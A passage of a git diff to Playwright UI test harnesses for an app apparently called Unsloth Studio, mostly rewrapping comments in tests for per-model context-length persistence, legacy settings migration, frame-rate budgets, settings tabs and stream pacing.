is right there on+ # screen.if not re.search(r"\bbeta\b", head, re.I):soft_fail(f"the row lost its Beta pill (header text={head!r})")total_gib = _gib(STUB_TOTAL_BYTES)gpu_gib = _gib(STUB_GPU_BYTES)- # The total is shown in BOTH memory topologies: as the sole figure where the GPU- # and the host share one pool, and beside the GPU share where they do not. The GPU- # figure only exists in the second, so it is asserted only when its label is there- # -- a CPU-only runner and an Apple machine legitimately show neither.+ # The total is shown in BOTH memory topologies: as the sole figure where the GPU and the host share one pool,+ # and beside the GPU share where they do not. The GPU figure only exists in the second, so it is asserted+ # only when its label is there; a CPU-only runner and an Apple machine legitimately show neither.if total_gib not in head:fail(f"the row does not show the returned total {total_gib!r} "@@ -939,7 +924,6 @@ with sync_playwright() as p:info("single-pool layout: no separate GPU figure to check")shoot("04-row-collapsed")- # Expand: the breakdown is where the per-term figures and the KV note live.try:expander = estimate_button()if expander is None:@@ -970,10 +954,7 @@ with sync_playwright() as p:)else:info(f"OK breakdown: {label} = {value}")- # The KV note is assembled from the RESPONSE's context and cache dtype, and the- # stub echoes the request's. So this one string closes the loop: the number- # typed into the control reached the request, came back in the response, and- # was rendered.+ # The KV note is assembled from the RESPONSE's context and cache dtype, and the stub echoes the request's.if priced is not None and priced_ctx is not None:echoed = f"{priced_ctx:,} tokens"if echoed not in detail:diff --git a/tests/studio/playwright_model_config.py b/tests/studio/playwright_model_config.pyindex 373e54b881c..d0861ddf96b 100644--- a/tests/studio/playwright_model_config.py+++ b/tests/studio/playwright_model_config.py@@ -55,27 +55,24 @@ from _playwright_robust import ( # noqa: E402BASE = os.environ["BASE_URL"]NEW = os.environ.get("STUDIO_NEW_PW", "ModelCfg-NEW-2026!")-# Attach mode: log into an already-provisioned Unsloth with an existing password-# instead of the first-boot change-password dance. CI leaves STUDIO_LOGIN_PW unset-# to exercise the real change-password flow; local runs can set it to skip re-provisioning.+# Attach mode: log into an already-provisioned Unsloth with an existing password instead of the first-boot+# change-password dance. CI leaves STUDIO_LOGIN_PW unset to exercise the real change-password flow; local runs can set+# it to skip re-provisioning.LOGIN_PW = os.environ.get("STUDIO_LOGIN_PW")LOGIN_USER = os.environ.get("STUDIO_LOGIN_USER", "unsloth")GGUF_REPO = os.environ.get("GGUF_REPO", "unsloth/gemma-3-270m-it-GGUF")GGUF_VARIANT = os.environ.get("GGUF_VARIANT", "UD-Q4_K_XL")# Substring of the On Device picker row for the loaded model.MODEL_HINT = os.environ.get("STUDIO_MODEL_HINT", "gemma-3-270m")-# A distinctive valid (>=128, multiple of 128, below the model's 32768 ceiling)-# Context Length, clearly not a default, so persistence is unambiguous.+# A distinctive valid (>=128, multiple of 128, below the model's 32768 ceiling) Context Length, clearly not a defaultDISTINCT_CTX = int(os.environ.get("STUDIO_DISTINCT_CTX", "4096"))ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright_modelcfg")-# Settle window after run-settings opens, before staging an edit. An edit made in-# the panel's first moments is silently discarded: it re-derives its baseline once-# mount-time work lands and drops whatever was staged, so Save reports "Default-# settings kept" and stores nothing. Measured on gemma-3-270m: fails at 0ms, passes-# from 500ms. The panel exposes no readiness signal to poll -- the input value, the-# Reset state and the primary button label are all identical before and after -- so-# this is a bounded wait rather than a condition. A person cannot open the panel,-# read it, type and click inside half a second; only a driver can.+# Settle window after run-settings opens, before staging an edit. An edit made in the panel's first moments is+# silently discarded: it re-derives its baseline once mount-time work lands and drops whatever was staged, so Save+# reports "Default settings kept" and stores nothing.+# Measured on gemma-3-270m: fails at 0ms, passes from 500ms.+# The panel exposes no readiness signal to poll (the input value, the Reset state and the primary button label are+# all identical before and after), so this is a bounded wait rather than a condition.CONFIG_SETTLE_MS = int(os.environ.get("STUDIO_CONFIG_SETTLE_MS", "1000"))ART = Path(ART_DIR)ART.mkdir(parents = True, exist_ok = True)@@ -234,8 +231,7 @@ with sync_playwright() as p:page.on("pageerror", _on_pageerror)- # Record every /api/inference/load POST payload so the persistence gate can- # assert max_seq_length.+ # Record every /api/inference/load POST payload so the persistence gate can assert max_seq_length.load_posts: list[str] = []def _on_request(req):@@ -299,9 +295,9 @@ with sync_playwright() as p:return config_entries(cfg)matched = []for key in recognised:- # Parse the key rather than substring-searching its serialised form: the- # repo alone also matches this repo's *other* quants, so a stale entry for- # one quant could stand in for the one under test and mask its failed save.+ # Parse the key rather than substring-searching its serialised form: the repo alone also matches this+ # repo's *other* quants, so a stale entry for one quant could stand in for the one under test and mask+ # its failed save.try:parts = json.loads(str(key).split(":", 1)[1])except Exception:@@ -312,16 +308,14 @@ with sync_playwright() as p:got = (_normalize_model_identity(str(raw[0])), str(raw[1]).strip().lower())if got == want and isinstance(cfg[key], dict):matched.append(cfg[key])- # Scoping is meaningful, so an empty result is a real answer: returning every- # entry here is what let another model's value satisfy these checks.+ # Scoping is meaningful, so an empty result is a real answer: returning every entry here is what let another+ # model's value satisfy these checks.return matched- # ─────────────────────────────────────────────────────- # Setup: authenticate + model load.# ─────────────────────────────────────────────────────if LOGIN_PW:- # Attach mode: log in via the API and seed the token before navigation,- # skipping the first-boot change-password dance.+ # Attach mode: log in via the API and seed the token before navigation, skipping the first-boot change-password+ # dance.step("setup: API login + token seed (attach to running Unsloth)")_tok = _login_token_via_api(BASE, LOGIN_USER, LOGIN_PW)ctx.add_init_script(@@ -331,8 +325,8 @@ with sync_playwright() as p:page.goto(BASE, wait_until = "domcontentloaded", timeout = 60_000)else:step("setup: change-password")- # 3-attempt retry: the form can re-render mid-fill on slow runners and- # detach the password fields; each retry re-navigates with a fresh page.+ # 3-attempt retry: the form can re-render mid-fill on slow runners and detach the password fields; each retry+ # re-navigates with a fresh page.form_err: Exception | None = Nonefor _form_attempt in range(3):try:@@ -422,7 +416,6 @@ with sync_playwright() as p:fail("no access token after auth setup")sys.exit(1)- # Load the tiny GGUF so it is a live "On Device" model in the picker.load_resp = evaluate_fetch(page,f"{BASE}/api/inference/load",@@ -456,9 +449,9 @@ with sync_playwright() as p:# ─────────────────────────────────────────────────────POPOVER = '[data-tour="chat-model-selector-popover"]'TRIGGER = '[data-tour="chat-model-selector"]'- # Unfiltered, for diagnostics: which gears exist at all when the one being- # looked for did not. Kept as CSS rather than reusing row_gear's role lookup,- # because the point here is to report what is there, not to match anything.+ # Unfiltered, for diagnostics: which gears exist at all when the one being looked for did not.+ # Kept as CSS rather than reusing row_gear's role lookup, because the point here is to report what is there, not to+ # match anything.GEAR_ANY = 'button[aria-label^="Inference settings for" i]'def diagnose(name, selector):@@ -520,7 +513,6 @@ with sync_playwright() as p:page.wait_for_timeout(700)row = popover.locator("[data-model-picker-option]", has_text = hint).firstif _count(row) == 0:- # Fall back to search filtering.search = popover.locator("[data-model-picker-search-input]").firstif _count(search):search.click()@@ -541,13 +533,13 @@ with sync_playwright() as p:"""Back is unique to the config page and always rendered inside the picker."""return _count(popover.get_by_role("button", name = "Back to model list")) > 0- # The collapsed sole-quant row appears only after an async probe lands, so an absent- # gear means either a multi-quant repo or a probe in flight, with no DOM state to- # tell them apart. Only a multi-quant repo pays the full wait, once per open_config.+ # The collapsed sole-quant row appears only after an async probe lands, so an absent gear means either a multi-quant+ # repo or a probe in flight, with no DOM state to tell them apart.+ # Only a multi-quant repo pays the full wait, once per open_config.SOLE_QUANT_SETTLE_MS = 30_000- # Long enough for the probe, short enough that naming a quant that is not there- # does not spend the whole settle window before falling back to the repo.+ # Long enough for the probe, short enough that naming a quant that is not there does not spend the whole settle+ # window before falling back to the repo.QUANT_GEAR_MS = 2_000def row_gear(@@ -556,14 +548,14 @@ with sync_playwright() as p:quant = None,timeout_ms = SOLE_QUANT_SETTLE_MS,):- # The gear is a sibling of the row, not inside [data-model-picker-option], so- # scope it by repo id; case-insensitive to match the has_text row lookup.+ # The gear is a sibling of the row, not inside [data-model-picker-option], so scope it by repo id;+ # case-insensitive to match the has_text row lookup.#- # The quant, when given, is anchored to the end rather than searched for- # anywhere in the label. Every label is "<repo> <quant>", so an unanchored- # match lets F16 find BF16, and `.first` among variants the expander orders- # by fit rather than by name then opens the other one -- after which the- # exact-key storage checks fail on a quant that was working.+ # The quant, when given, is anchored to the end rather than searched for anywhere in+ # the label. Every label is "<repo> <quant>", so an unanchored match lets F16 find+ # BF16, and `.first` among variants the expander orders by fit rather than by name+ # then opens the other one, after which the exact-key storage checks fail on a quant+ # that was working.pattern = f"^Inference settings for .*{re.escape(hint)}"if quant:pattern += f".* {re.escape(quant)}$"@@ -596,8 +588,7 @@ with sync_playwright() as p:if select_on_device_row(popover, hint) is None:return Noneif not popover.is_visible():- # The probe landed mid-click, so the row selected the model; reopen for- # the gear that is now there.+ # The probe landed mid-click, so the row selected the model; reopen for the gear that is now there.popover = open_picker()if reveal_on_device_row(popover, hint) is None:return None@@ -607,8 +598,8 @@ with sync_playwright() as p:if gear is None:return Nonegear.click()- # Gate on the page itself rather than a sleep, so a slow mount is waited out- # and a failed open is not mistaken for a missing Context Length input below.+ # Gate on the page itself rather than a sleep, so a slow mount is waited out and a failed open is not mistaken+ # for a missing Context Length input below.for _ in range(20):if config_is_open(popover):page.wait_for_timeout(CONFIG_SETTLE_MS)@@ -645,18 +636,15 @@ with sync_playwright() as p:needles = ["bge-small-en-v1.5", "stories260"]tabs = ["Recommended", "On Device", "Connected"]hidden_ok = True- # This step asserts an absence, so it passes for free if the picker renders no rows- # at all -- which is exactly the state a broken picker is in. Prove it is populated- # first, or "hidden" means nothing.+ # This step asserts an absence, so it passes for free if the picker renders no rows at all -- which is exactly the+ # state a broken picker is in. Prove it is populated first, or "hidden" means nothing.od_tab = page.get_by_role("tab", name = "On Device").firstif _count(od_tab):od_tab.click()page.wait_for_timeout(400)- # Waited for, not counted once: until cachedReady flips the picker renders the- # loading state with no rows at all, so a fixed pause turns a slow cache scan- # into a hard failure. A populated picker attaches a row as soon as it has one,- # so this returns immediately in the normal case and only spends the timeout- # when there is genuinely nothing -- which is the case worth failing on.+ # Waited for, not counted once: until cachedReady flips the picker renders the loading state with no rows at all,+ # so a fixed pause turns a slow cache scan into a hard failure. A populated picker attaches a row as soon as it has+ # one, so this returns immediately in the normal case and only spends the timeout when there is genuinely nothing.try:popover.locator("[data-model-picker-option]").first.wait_for(state = "attached", timeout = 20_000@@ -731,13 +719,11 @@ with sync_playwright() as p:if btn is None:fail("primary Load/Save button not found in run-settings")else:- # Keep the input focused. The button click must commit the draft- # and use it in the same load request.+ # Keep the input focused. The button click must commit the draft and use it in the same load request.btn.click()page.wait_for_timeout(2500)shoot("06-after-load")- # (a) localStorage stored the distinctive context.cfg = read_configs()entries = entries_for_model(cfg)got_ls = any(e.get("customContextLength") == DISTINCT_CTX for e in entries)@@ -749,7 +735,6 @@ with sync_playwright() as p:f"(entries={json.dumps(entries)[:400]})")- # (b) the load request carried max_seq_length == distinctive value.got_req = Falsefor body in load_posts:try:@@ -762,14 +747,13 @@ with sync_playwright() as p:if got_req:info(f"OK persist(request): /api/inference/load max_seq_length={DISTINCT_CTX}")else:- # The UI may debounce the load; localStorage is the primary- # proof, so only warn if the request was missed.+ # The UI may debounce the load; localStorage is the primary proof, so only warn if the request was+ # missed.runtime_warn("no /api/inference/load carried "f"max_seq_length={DISTINCT_CTX}; posts={load_posts!r}")- # (c) survives a full browser reload.close_picker()page.reload()composer = page.locator('textarea[aria-label="Message input"]')@@ -790,7 +774,6 @@ with sync_playwright() as p:# 3. Reset clears the override (never pins context) (HARD).# ─────────────────────────────────────────────────────step("reset clears the per-model override")- # (popover + config still open from the reload check.)reset_btn = popover.get_by_role("button", name = "Reset").firstif _count(reset_btn) == 0:fail("Reset button not found in run-settings")@@ -800,9 +783,9 @@ with sync_playwright() as p:page.wait_for_timeout(500)except Exception as e:fail(f"Reset click failed: {e}")- # The input after Reset is informational only: a live-loaded model can still- # echo its context even with the stored override gone. The regression we- # guard ("Reset PINS the override") lives in localStorage, asserted below.+ # The input after Reset is informational only: a live-loaded model can still echo its context even with the+ # stored override gone. The regression we guard ("Reset PINS the override") lives in localStorage, asserted+ # below.ctx_in = context_input(popover)after_reset = ctx_in.input_value() if ctx_in else Noneinfo(f"reset: Context Length input now shows {after_reset!r}")@@ -863,8 +846,8 @@ with sync_playwright() as p:page.wait_for_timeout(200)btn = primary_button(popover)if btn is not None and btn.is_enabled():- # Same-click Load: the button click must commit the draft, but a draft- # equal to the shown value carries no override.+ # Same-click Load: the button click must commit the draft, but a draft equal to the shown value carries+ # no override, so the click must still commit the reset and leave no stored `customContextLength`.btn.click()page.wait_for_timeout(1500)cfg = read_configs()@@ -926,8 +909,8 @@ with sync_playwright() as p:except Exception:adv.click()page.wait_for_timeout(500)- # The Tensor Parallelism Radix Switch has no aria-label, so target the- # first switch after the "Tensor Parallelism" text.+ # The Tensor Parallelism Radix Switch has no aria-label, so target the first switch after the+ # "Tensor Parallelism" text.tp = popover.locator('xpath=.//span[contains(text(),"Tensor Parallelism")]''/following::*[@role="switch"][1]'@@ -968,10 +951,9 @@ with sync_playwright() as p:# ─────────────────────────────────────────────────────# 5. Legacy migration is idempotent (gates in CI via soft_fail).- # Seed a pre-feature unsloth_load_settings store, confirm it migrates once- # with the value preserved, then reload with a fresh legacy seed and confirm- # the migration does not re-run, duplicate, or clobber. Re-running on every- # reload was the regression that reverted the predecessor PR.+ # Seed a pre-feature unsloth_load_settings store, confirm it migrates once with the value preserved, then+ # reload with a fresh legacy seed and confirm the migration does not re-run, duplicate, or clobber. Re-running+ # on every reload was the regression that reverted the predecessor PR.# ─────────────────────────────────────────────────────step("legacy unsloth_load_settings migrates once and stays idempotent")@@ -1039,13 +1021,12 @@ with sync_playwright() as p:the migrated map). Removing the row leaves the legacy import as the only thingthat can put a value in this key, which is what the step is about."""- # MODEL AND QUANT NORMALISED SEPARATELY, which is what `entries_for_model` already does- # to these same two values. Folding the whole `<model>:<quant>` string as one identity- # only works while the model half folds too: `normalizeModelIdentity` deliberately keeps- # a plain POSIX path's case, so with a local-path GGUF_REPO the row- # `/models/Foo.gguf:UD-Q4_K_XL` normalises to itself and never matched the lowercased- # `...:ud-q4_k_xl` this was comparing against. The stale row then survived the cleanup and- # the migration check went on to measure server precedence instead.+ # MODEL AND QUANT NORMALISED SEPARATELY, which is what `entries_for_model` already does to these same two+ # values. Folding the whole `<model>:<quant>` string as one identity only works while the model half folds too:+ # `normalizeModelIdentity` deliberately keeps a plain POSIX path's case, so with a local-path GGUF_REPO the row+ # `/models/Foo.gguf:UD-Q4_K_XL` normalises to itself and never matched the lowercased `...:ud-q4_k_xl` this was+ # comparing against. The stale row then survived the cleanup and the migration check went on to measure server+ # precedence instead.want_model = _normalize_model_identity(GGUF_REPO)want_quant = GGUF_VARIANT.strip().lower()@@ -1127,8 +1108,8 @@ with sync_playwright() as p:"server precedence instead")elif left:- # Not fatal on its own: say so rather than let the migration assertion below- # report the leftover row as the migration losing a value.+ # Not fatal on its own: say so rather than let the migration assertion below report the leftover row as the+ # migration losing a value.runtime_warn(f"server override rows for the model under test survived removal: {left}; ""the migration check below may be measuring server precedence instead"@@ -1166,12 +1147,9 @@ with sync_playwright() as p:"contextLength": DISTINCT_CTX,"kvCacheDtype": "q8_0","tensorParallel": True,- # A fingerprint, and the reason it is this field: no other step here sets- # Disable Vision, and toApiOverride only sends disable_vision when true,- # so a record carrying it can only have come from this seed. The context- # alone cannot tell "the import ran and lost a field" from "the import- # never ran", and kvCacheDtype and tensorParallel cannot either -- step 4- # writes both to the server, so a row mirrored back down reproduces them.+ # A fingerprint, and the reason it is this field: no other step here sets Disable Vision, and+ # toApiOverride only sends disable_vision when true, so a record carrying it can only have come from+ # this seed."disableVision": True,}}@@ -1186,18 +1164,13 @@ with sync_playwright() as p:cfg_first = read_configs()model_entries = entries_for_model(cfg_first)migrated_ctx = any(e.get("customContextLength") == DISTINCT_CTX for e in model_entries)- # Did the import run at all? Two very different failures were being reported as- # one. "It ran and lost the context" is a bug in the migration; "nothing from- # this seed is here" means the key was written by something else and the import- # skipped it, which is what a racing write produces. Collapsing them into "not- # migrated" sent the last investigation into normalizeV1, which was innocent.+ # Did the import run at all? Two very different failures were being reported as one: "it ran and lost the+ # context" is a bug in the migration, while "nothing from this seed is here" means the key was written by+ # something else and the import skipped it, which is what a racing write produces.migrated_any = any(e.get("disableVision") is True for e in model_entries)- # AND THE PASS REQUIRES THE FINGERPRINT TOO. The context alone does not say where it came- # from: a server override row that survived the cleanup carries DISTINCT_CTX as well --- # step 3b wrote it -- and hydration can put that into `model_entries` with the legacy- # import never having applied the seed at all. Reporting OK on the context by itself is- # the very confusion `disableVision` was added to end, left out of the branch that- # decides whether this step passed.+ # AND THE PASS REQUIRES THE FINGERPRINT TOO. The context alone does not say where it came from: a server+ # override row that survived the cleanup carries DISTINCT_CTX as well -- step 3b wrote it -- and hydration can+ # put that into `model_entries` with the legacy import never having applied the seed at all.if migrated_ctx and migrated_any:info(f"OK migration: legacy context {DISTINCT_CTX} preserved after migrating")elif migrated_ctx:@@ -1225,15 +1198,13 @@ with sync_playwright() as p:shoot("09-after-migration")close_picker()- # Idempotency: a second reload with a DIFFERENT legacy entry must not re-run- # the migration (the persistent flag blocks it), so the new key must not leak- # in, nothing duplicates, and the migrated value is untouched.+ # Idempotency: a second reload with a DIFFERENT legacy entry must not re-run the migration (the persistent flag+ # blocks it), so the new key must not leak in, nothing duplicates, and the migrated value is untouched.if migrated_ctx:probe_key = "unsloth/__idem_probe__::Q4_K_M"- # Same document-start seeding as the first half, and for the same reason:- # this one deliberately leaves `unsloth_model_configs` alone, so a write- # racing the navigation would land in the very map the assertions below- # compare key-for-key.+ # Same document-start seeding as the first half, and for the same reason: this one deliberately leaves+ # `unsloth_model_configs` alone, so a write racing the navigation would land in the very map the assertions+ # below compare key-for-key.seed_legacy_for_next_document({probe_key: {"contextLength": DISTINCT_CTX + 2048, "tensorParallel": True}},wipe_migrated = False,diff --git a/tests/studio/playwright_research_freeze.py b/tests/studio/playwright_research_freeze.pyindex 20e9db3a7ef..fb2e5fccd2a 100644--- a/tests/studio/playwright_research_freeze.py+++ b/tests/studio/playwright_research_freeze.py@@ -55,29 +55,28 @@ LABEL = os.environ.get("SMOKE_LABEL", "tree")OUT = Path(os.environ.get("PW_ART_DIR", "logs/playwright-research-freeze"))OUT.mkdir(parents = True, exist_ok = True)-# ~12.5 events/s is what the store's 80ms coalescing window admits during synthesis; 240 of them-# is a ~20s run, long enough for a follow loop to show and short enough to repeat.+# ~12.5 events/s is what the store's 80ms coalescing window admits during synthesis;+# 240 of them is a ~20s run, long enough for a follow loop to show and short enough to repeat.DELTA_COUNT = int(os.environ.get("SMOKE_DELTA_COUNT", "240"))DELTA_GAP_MS = int(os.environ.get("SMOKE_DELTA_GAP_MS", "80"))-# The budget that makes this file a regression test rather than a report. All measured on this-# harness: the frame pump below runs at 62 callbacks/s, and a self-chaining rAF loop (the bug's-# shape) sits exactly on that ceiling (310 callbacks in 5s). The fixed tree spends 29/s over three-# repeats (592, 597, 597 in a 20.4s window) because chaining is conditional. 45/s is the midpoint:-# above the fixed cost, well below anything that re-arms every frame.+# The budget that makes this file a regression test rather than a report.+# All measured on this harness: the frame pump below runs at 62 callbacks/s, and a self-chaining rAF loop (the bug's+# shape) sits exactly on that ceiling (310 callbacks in 5s).+# The fixed tree spends 29/s over three repeats (592, 597, 597 in a 20.4s window) because chaining is conditional.+# 45/s is the midpoint: above the fixed cost, well below anything that re-arms every frame.MAX_STREAM_RAF_PER_SECOND = float(os.environ.get("SMOKE_MAX_RAF_PER_S", "45"))# Idle measures 0 across the same repeats: a quiet list has nothing to follow. A couple of frames# of slack covers a settle check landing just inside the window; more means a loop that never let# go, which is what left the reporter's window unresponsive.MAX_IDLE_RAF_PER_2S = int(os.environ.get("SMOKE_MAX_IDLE_RAF", "4"))-# Longest the report work keeps the main thread from servicing a timer. A stall detector,-# not Event Timing input delay: nothing here reads an input timestamp. Measured 131.9ms on-# one box and 342-416ms on a loaded one, so 500 left just 1.2x; 1000 keeps ~2.4x and still-# fails ten times the report size (1518ms at SMOKE_REPORT_SECTIONS=400).+# Longest the report work keeps the main thread from servicing a timer.+# Measured 131.9ms on one box and 342-416ms on a loaded one, so 500 left just 1.2x;+# 1000 keeps ~2.4x and still fails ten times the report size (1518ms at SMOKE_REPORT_SECTIONS=400).MAIN_THREAD_STALL_BUDGET_MS = int(os.environ.get("SMOKE_REPORT_STALL_BUDGET_MS", "1000"))-# A real deep research run's size, with the three costliest things to render: fenced code (shiki),-# a table, and display math (KaTeX).+# A real deep research run's size, with the three costliest things to render: fenced code (shiki), a table, and+# display math (KaTeX).REPORT_SECTION = """## Section {n}@@ -176,9 +175,9 @@ def run() -> dict:# Deliberately NOT installing the view-transition killer: it forces# `body { pointer-events: auto !important }`, which is precisely the symptom under test.context.add_init_script(LONGTASK_INIT)- # A token, and a 200 for every backend call: without them the auth guard sees a 401 and- # navigates to /login, throwing the harness away mid-run. The pattern is anchored on the- # origin so it cannot swallow vite's own module URLs under src/.../api/.+ # A token, and a 200 for every backend call: without them the auth guard sees a 401 and navigates to /login,+ # throwing the harness away mid-run. The pattern is anchored on the origin so it cannot swallow vite's own+ # module URLs under src/.../api/.context.add_init_script("localStorage.setItem('unsloth_auth_token', 'research-freeze-smoke');")@@ -197,7 +196,6 @@ def run() -> dict:page.wait_for_timeout(500)activities_before_stream = page.evaluate("window.__research.state().activities")- # 1. The streaming phase.before = metrics(cdp)page.evaluate("""async ([count, gap]) => {@@ -214,8 +212,8 @@ def run() -> dict:}""",[DELTA_COUNT, DELTA_GAP_MS],)- # The tail is part of the measurement: re-arming after the last event is the failure mode,- # so count those frames rather than stopping the clock.+ # The tail is part of the measurement: re-arming after the last event is the failure mode, so count those+ # frames rather than stopping the clock.page.wait_for_timeout(1200)stream_window_ms = DELTA_COUNT * DELTA_GAP_MS + 1200stream_raf = page.evaluate("window.__rafCount")@@ -237,12 +235,11 @@ def run() -> dict:"activities_before": activities_before_stream,}- # 2. Idle after the stream: the follow loop must stop when the list goes quiet.+ # Idle after the stream: the follow loop must stop when the list goes quiet.page.evaluate("window.__rafCount = 0")page.wait_for_timeout(2000)results["idle_raf_callbacks_per_2s"] = page.evaluate("window.__rafCount")- # 3. Publishing the finished report -- the commit the freeze was reported on.report = build_report(int(os.environ.get("SMOKE_REPORT_SECTIONS", "40")))before = metrics(cdp)page.evaluate("window.__longTasks.length = 0")@@ -267,8 +264,8 @@ def run() -> dict:}""",report,)- # A real, hit-tested input event: lands late under a blocked thread, but it must land.- # Record a blocked click as a verdict; raising would lose every other measurement.+ # A real, hit-tested input event: lands late under a blocked thread, but it must land. Record a blocked+ # click as a verdict; raising would lose every other measurement.try:page.click('[data-smoke="click-probe"]', timeout = 10_000)report_click_landed = True@@ -298,9 +295,8 @@ def run() -> dict:),}- # 4. Modal lifecycle: approval unmounts PlanReview's Dialog while open, and closing the- # pane unmounts the panel under it. Either one stranding `body { pointer-events: none }`- # leaves the whole window unclickable.+ # Modal lifecycle: approval unmounts PlanReview's Dialog while open, and closing the pane unmounts the panel+ # under it. Either one stranding `body { pointer-events: none }` leaves the whole window unclickable.page.evaluate("window.__research.clearReport()")page.evaluate("window.__research.awaitApproval()")page.wait_for_timeout(600)@@ -345,8 +341,8 @@ def run() -> dict:)followed_distance = page.evaluate(DISTANCE_FROM_BOTTOM)latest_while_following = page.evaluate(LATEST_BUTTON_VISIBLE)- # A mutation, one macrotask so the observer has queued its follow step, then a small- # upward flick while that step is still pending.+ # A mutation, one macrotask so the observer has queued its follow step, then a small upward flick while that+ # step is still pending.page.evaluate(f"""async () => {{const el = document.querySelector('{SCROLLER}');@@ -393,14 +389,13 @@ def main() -> int:failures: list[str] = []stream = results["stream"]- # A list that ingested nothing has nothing to follow, so it measures zero frames and clears- # both budgets below. Recorded and unread was false-green; assert it.+ # A list that ingested nothing has nothing to follow, so it measures zero frames and clears both budgets below.if stream["activities"] <= stream["activities_before"]:failures.append("the stream added no activities; the frame budgets below measured no workload")- # Without these two the file records the per-frame cost and passes regardless, which is how- # the original loop shipped: the numbers were there, nothing read them.+ # Without these two the file records the per-frame cost and passes regardless, which is how the original loop+ # shipped: the numbers were there, nothing read them.if stream["raf_per_second"] > MAX_STREAM_RAF_PER_SECOND:failures.append(f"{stream['raf_per_second']} rAF/s during the stream, budget "@@ -414,9 +409,9 @@ def main() -> int:modal = results["modal"]if not modal["dialog_opened"]:failures.append("plan review dialog never opened; the modal checks proved nothing")- # A dialog that never took the layer strands nothing, so every check below passes on a tree- # where the teardown is broken. Verified: with `modal={false}` on PlanReview's Dialog this- # reads "" and the whole phase went green. Recorded and unread was false-green; assert it.+ # A dialog that never took the layer strands nothing, so every check below passes on a tree where the teardown is+ # broken. Verified: with `modal={false}` on PlanReview's Dialog this reads "" and the whole phase went green.+ # Recorded and unread was false-green; assert it.if modal["body_pointer_events_while_open"] != "none":failures.append("the plan review dialog never took the modal layer "@@ -431,10 +426,10 @@ def main() -> int:failures.append("a click did not reach its handler after a modal path")if not results["report"]["rendered"]:failures.append("the report never rendered")- # The modal checks below compare click counts against a baseline, so they still pass if this- # one was swallowed. Responsiveness during the report parse is the reported symptom; assert it.- # Hit-tested, so a stranded `body { pointer-events: none }` fails here; a synthetic- # element.click() would land straight on the handler and pass on that same tree.+ # The modal checks below compare click counts against a baseline, so they still pass if this one was swallowed.+ # Responsiveness during the report parse is the reported symptom; assert it. Hit-tested, so a stranded+ # `body { pointer-events: none }` fails here; a synthetic element.click() would land straight on the handler and+ # pass on that same tree.if not results["report"]["click_landed"]:failures.append("a real click during the report parse never became actionable; the window was "diff --git a/tests/studio/playwright_settings_tabs.py b/tests/studio/playwright_settings_tabs.pyindex 4377e287fe3..bd581468ab9 100644--- a/tests/studio/playwright_settings_tabs.py+++ b/tests/studio/playwright_settings_tabs.py@@ -211,8 +211,7 @@ ON_SUBPAGE_JS = """() => ({|| { querySelectorAll: () => [] }).querySelectorAll('*').length,})"""-# Deep-open the archived chats, then walk away partway through the hold. Both halves run in-# the page, because a route handler that sleeps blocks this script too.+# Deep-open the archived chats, then walk away partway through the hold.ABANDON_DEEP_OPEN_JS = """(delay) => {window.__abandonedAt = null;window.__settingsSmoke.openArchived('chats');@@ -297,10 +296,10 @@ def run_chunk_fail(page) -> None:settle_panel(page)# Read the nav size instead of hardcoding it. The invariant is that blocking a# panel does not collapse the dialog, not that the dialog has any particular- # number of tabs -- and the hardcoded 12 outlived its truth: the- # keyboard-shortcuts page made it 13 and this smoke started failing with- # "took the dialog down" while reporting dialog: True, which reads like an- # error-handling regression and was a stale constant.+ # number of tabs. The hardcoded 12 outlived its truth once a page was added,+ # and this smoke started failing with "took the dialog down" while reporting+ # dialog: True, which reads like an error-handling regression and was a stale+ # constant.nav_before = page.evaluate("() => document.querySelectorAll('[data-testid^=\"settings-tab-\"]').length")@@ -470,7 +469,6 @@ def run(page) -> None:# --- 2. every tab renders when selected -----------------------------------------open_dialog(page)settle_panel(page)- # Start off the persisted tab, so the first iteration is a real switch.click_forced(page.locator('[data-testid="settings-tab-about"]'), timeout = 15000)settle_panel(page)for tab in TABS:@@ -494,7 +492,6 @@ def run(page) -> None:# --- 3. every lan address has actions bound to that address ----------------------run_lan_address_actions(page)- # --- 4. close/reopen, and deep-open straight to a tab ----------------------------page.evaluate("() => window.__settingsSmoke.close()")page.wait_for_timeout(300)for tab in ("voice", "api-keys", "data", "about", "connections"):@@ -624,8 +621,8 @@ def main() -> int:raisetime.sleep(2)page.wait_for_function("() => !!window.__settingsSmoke", timeout = 120000)- # Vite dev re-optimizes deps on first sight and full-reloads; settle, then- # reload once for a stable dep graph.+ # Vite dev re-optimizes deps on first sight and full-reloads; settle, then reload once for a stable dep+ # graph.page.wait_for_timeout(4000)page.reload(wait_until = "domcontentloaded")page.wait_for_function("() => !!window.__settingsSmoke", timeout = 120000)@@ -646,8 +643,7 @@ def main() -> int:fail(f"error boundary tripped: {report['error_boundary']}")browser.close()except Exception as exc:- # A cold-start dev server can fail to serve a module before anything is under- # test. Report that rather than dying with no record.+ # A cold-start dev server can fail to serve a module before anything is under test.report["aborted"] = f"{type(exc).__name__}: {exc}"fail(f"harness aborted: {report['aborted'].splitlines()[0]}")write_report()diff --git a/tests/studio/playwright_stream_pacing.py b/tests/studio/playwright_stream_pacing.pyindex 87324e134ef..04219c08549 100644--- a/tests/studio/playwright_stream_pacing.py+++ b/tests/studio/playwright_stream_pacing.py@@ -65,8 +65,8 @@ PORT = int(os.environ.get("SMOKE_PORT", "5186"))_EXTERNAL = os.environ.get("SMOKE_BASE_URL", "").strip()BASE = _EXTERNAL or f"http://127.0.0.1:{PORT}"OWNS_SERVER = not _EXTERNAL-# Under logs/ like every sibling harness. A default of "." would drop an untracked-# stream-pacing.json in the repo root every run; logs/ is gitignored, so the tree stays clean.+# Under logs/ like every sibling harness. A default of "." would drop an untracked stream-pacing.json in the repo root+# every run; logs/ is gitignored, so the tree stays clean.OUT = Path(os.environ.get("PW_ART_DIR", "logs/playwright-stream-pacing"))LABEL = "stream-pacing"@@ -192,8 +192,7 @@ def main() -> int:f"only {results['paintedChars']} characters painted of {TOTAL_CHARS} sent "f"(floor {floor}); the budgets below measured no workload")- # paintedChars is a high-water mark and survives a completion render that truncates the- # bubble. settledChars is the DOM a reader is actually left looking at.+ # paintedChars is a high-water mark and survives a completion render that truncates the bubble.if results["settledChars"] < floor:failures.append(f"the reply settled at {results['settledChars']} characters of {TOTAL_CHARS} "@@ -210,10 +209,9 @@ def main() -> int:f"longest stall {results['longestStallMs']:.0f}ms exceeds "f"{MAX_LONGEST_STALL_MS}ms (the bubble stopped growing while text arrived)")- # The long-task total is the sensitive metric and the one that goes false-green most- # quietly: an engine without the longtask entry type, or an observer that stopped- # delivering, reports 